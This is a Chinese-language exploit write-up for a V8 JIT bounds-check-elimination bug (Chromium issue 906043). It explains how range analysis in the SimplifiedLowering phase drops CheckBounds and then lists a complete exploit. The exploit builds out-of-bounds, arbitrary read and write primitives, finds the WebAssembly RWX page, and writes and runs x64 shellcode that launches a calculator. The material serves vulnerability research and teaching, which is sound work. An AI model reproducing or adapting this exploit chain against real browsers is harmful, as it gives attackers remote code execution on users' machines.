前言

环境搭建

git reset --hard b474b3102bd4a95eafcdb68e0e44656046132bc9
gclient sync
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug/

生成Turbolizer文件

./d8 --allow-natives-syntax --trace-turbo poc.js

基础知识

v8 处理优化的各个阶段:

image-20200807180247564

漏洞分析

该漏洞在18年天府杯被使用。

Poc代码:

function fun(arg) {
  let x = arguments.length;
  a1 = new Array(0x10);
  a1[0] = 1.1;
  a2 = new Array(0x10);
  a2[0] = 1.1;
  a1[(x >> 16) * 41] = 1.39064994160909e-309;  // 0xffff00000000
}
var a1, a2;
var a3 = new Array();
a3.length = 0x11000;

for(let i = 0; i < 0x10000; i++)
{
	fun(1);
}
res = fun(...a3);

console.log("[+] a2.length: "+ a2.length);

输出:

[+] a2.length: 65535

该poc的效果是越界修改数组a2的length为0xffff。

查看优化的各个阶段,看CheckBounds节点为何被消除:

(1)typed lowering 阶段:

image-20200922182110022

在SpeculativeNumberShiftRight节点上面有一个LoadField节点,在这个优化阶段,编译器无法得到LoadFiled节点的值,所以对NumberShiftRight进行 range analysis 时,会将其范围直接认为是int32的最大和最小值。

range analysis 计算过程如下:

#   define INT32_MIN       ((int32_t)(-2147483647-1))
#   define INT32_MAX       ((int32_t)(2147483647))

Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) {
  DCHECK(lhs.Is(Type::Number()));
  DCHECK(rhs.Is(Type::Number()));

  lhs = NumberToInt32(lhs);
  rhs = NumberToUint32(rhs);

  if (lhs.IsNone() || rhs.IsNone()) return Type::None();

  int32_t min_lhs = lhs.Min();
  int32_t max_lhs = lhs.Max();
  uint32_t min_rhs = rhs.Min();
  uint32_t max_rhs = rhs.Max();
  if (max_rhs > 31) {
    // rhs can be larger than the bitmask
    max_rhs = 31;
    min_rhs = 0;
  }
  double min = std::min(min_lhs >> min_rhs, min_lhs >> max_rhs);
  double max = std::max(max_lhs >> min_rhs, max_lhs >> max_rhs);
  if (max == kMaxInt && min == kMinInt) return Type::Signed32();
  return Type::Range(min, max, zone());
}

此时:

min_lhs : -2147483648
max_lhs : 2147483647
min_rhs : 16
max_rhs : 16

NumberShiftRight进行range analysis 后得到的范围为 Range(-32768, 32767)。

(2)escape analysis 阶段还存在CheckBounds节点:

image-20200923200720498

(3)SimplifiedLoweringPhase阶段:

在SimplifiedLoweringPhase阶段会对SpeculativeNumberShiftRight的范围再次计算,用于消除CheckBounds:

image-20200923200312834

再次进行range analysis:

#   define INT32_MIN       ((int32_t)(-2147483647-1))
#   define INT32_MAX       ((int32_t)(2147483647))

Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) {
  DCHECK(lhs.Is(Type::Number()));
  DCHECK(rhs.Is(Type::Number()));

  lhs = NumberToInt32(lhs);
  rhs = NumberToUint32(rhs);

  if (lhs.IsNone() || rhs.IsNone()) return Type::None();

  int32_t min_lhs = lhs.Min();
  int32_t max_lhs = lhs.Max();
  uint32_t min_rhs = rhs.Min();
  uint32_t max_rhs = rhs.Max();
  if (max_rhs > 31) {
    // rhs can be larger than the bitmask
    max_rhs = 31;
    min_rhs = 0;
  }
  double min = std::min(min_lhs >> min_rhs, min_lhs >> max_rhs);
  double max = std::max(max_lhs >> min_rhs, max_lhs >> max_rhs);
  if (max == kMaxInt && min == kMinInt) return Type::Signed32();
  return Type::Range(min, max, zone());
}

此时:

min_lhs : 0
max_lhs : 65534
min_rhs : 16
max_rhs : 16

计算得到NumberShiftRight的范围为:Range(0,0)。该结果作为数组的index,最终在VisitCheckBounds中会比较该范围和数组最大的长度,如果index恒小于数组的length,那么就会将其remove。

VisitCheckBounds函数实现如下:

void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
    CheckParameters const& p = CheckParametersOf(node->op());
    Type const index_type = TypeOf(node->InputAt(0));
    Type const length_type = TypeOf(node->InputAt(1));
    if (length_type.Is(Type::Unsigned31())) {
      if (index_type.Is(Type::Integral32OrMinusZero())) {
        // Map -0 to 0, and the values in the [-2^31,-1] range to the
        // [2^31,2^32-1] range, which will be considered out-of-bounds
        // as well, because the {length_type} is limited to Unsigned31.
        VisitBinop(node, UseInfo::TruncatingWord32(),
                   MachineRepresentation::kWord32);
        if (lower()) {
          if (lowering->poisoning_level_ ==
                  PoisoningMitigationLevel::kDontPoison &&
              (index_type.IsNone() || length_type.IsNone() ||
               (index_type.Min() >= 0.0 &&
                index_type.Max() < length_type.Min()))) {
            // The bounds check is redundant if we already know that
            // the index is within the bounds of [0.0, length[.
            DeferReplacement(node, node->InputAt(0));

漏洞利用

越界读写的常规思路:

(1)利用poc代码造成越界读写,在越界读写后面布置float类型的数组,越界修改float数组的length

(2)此时float数组就可以进行越界读写,根据mark查找wasm_function对象的地址

(3)根据data_buf的大小查找data_buf->backing_store,用于构造任意读写原语

(4)根据wasm_function–>shared_info–>WasmExportedFunctionData(data)–>instance+0xe8 找到rwx的区域,将shellcode写入该区域即可。

exp 代码:

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var Uint32 = new Uint32Array(buf);

function f2i(f)
{
	float64[0] = f;
	let tmp = Array.from(Uint32);
	return tmp[1] * 0x100000000 + tmp[0]; 
}

function i2f(i)
{
	let tmp = [];
	tmp[0] = parseInt(i % 0x100000000);
	tmp[1] = parseInt((i-tmp[0]) / 0x100000000);
	Uint32.set(tmp);
	return float64[0];
}

function hex(i)
{
	return i.toString(16).padStart(16, "0");
}


function gc() {
    for (let i = 0; i < 100; i++) {
        new ArrayBuffer(0x100000);
    }
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm_function = wasmInstance.exports.main;

var oob_array;
var obj = [];
var data_buf;

function fun(arg) {
	let x = arguments.length;
  	a1 = new Array(0x10);
  	a1[0] = 1.1;
  	oob_array = new Array(0x10);
  	oob_array[0] = 1.1;
  	a1[(x >> 16) * 41] = 1.39064994160909e-309;  // 0xffff00000000
}

var a1, a2;
var a3 = new Array();
a3.length = 0x11000;

for(let i = 0; i < 0x10000; i++){
	fun(1);
}

res = fun(...a3);

obj = {mark: i2f(0xdeadbeef), obj: wasm_function};
data_buf = new ArrayBuffer(0x233);
console.log("[+] oob_array.length: 0x" + hex(oob_array.length));

//---------find wasm_function
//%DebugPrint(wasm_function);
var wasm_obj_idx = 0;
for(let i=0; i < 0x400; i++)
{
	if(f2i(oob_array[i]) == 0xdeadbeef){
		wasm_obj_idx = i + 1;
		console.log("[+] find wasm_function obj : 0x" + hex(f2i(oob_array[wasm_obj_idx])));
		break;
	}
}

//------ find backing_store
var data_view = new DataView(data_buf);
var array_buffer_idx = 0;
for(let i=0; i < 0x1000; i++)
{
	if(f2i(oob_array[i]) == 0x233){
		array_buffer_idx = i + 1;
		console.log("[+] find data_buf backing_store : 0x" + hex(f2i(oob_array[array_buffer_idx])));
		break;
	}
}

//----- arbitrary read
function dataview_read64(addr)
{
	oob_array[array_buffer_idx] = i2f(addr);
	return f2i(data_view.getFloat64(0, true));
}

//----- arbitrary write
function dataview_write(addr, payload)
{
	oob_array[array_buffer_idx] = i2f(addr);
	for(let i=0; i < payload.length; i++)
	{
		data_view.setUint8(i, payload[i]);
	}
}

//----- get wasm_code by AAR

var wasm_function_addr = f2i(oob_array[wasm_obj_idx]);
console.log("[+] wasm_function_addr: 0x"+hex(wasm_function_addr));

var wasm_shared_info = dataview_read64(wasm_function_addr -1 + 0x18);
console.log("[+] find wasm_shared_info : 0x" + hex(wasm_shared_info));

var wasm_data = dataview_read64(wasm_shared_info -1 + 0x8);
console.log("[+] find wasm_data : 0x" + hex(wasm_data));

var wasm_instance = dataview_read64(wasm_data -1 + 0x10);
console.log("[+] find wasm_instance : 0x" + hex(wasm_instance));

var wasm_rwx = dataview_read64(wasm_instance - 1 + 0xe8);
console.log("[+] find wasm_rwx : 0x" + hex(wasm_rwx));


//write shellcode to wasm
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];

dataview_write(wasm_rwx, shellcode);

wasm_function();

运行效果图:

image-20200922170259795

相关补丁

image-20200922153023781

参考链接

https://www.sunxiaokong.xyz/2020-02-25/lzx-cve-2019-5782/

https://bugs.chromium.org/p/chromium/issues/detail?id=906043

https://de4dcr0w.github.io/35c3ctf-Krautflare%E5%88%86%E6%9E%90.html

https://xz.aliyun.com/t/5712

补丁:https://chromium.googlesource.com/v8/v8.git/+/deee0a87c0567f9e9bf18e1c8e2417c2f09d9b04%5E!

在线浮点数转换:

http://www.binaryconvert.com/convert_double.html#

https://github.com/vngkv123/aSiagaming/tree/master/Chrome-v8-906043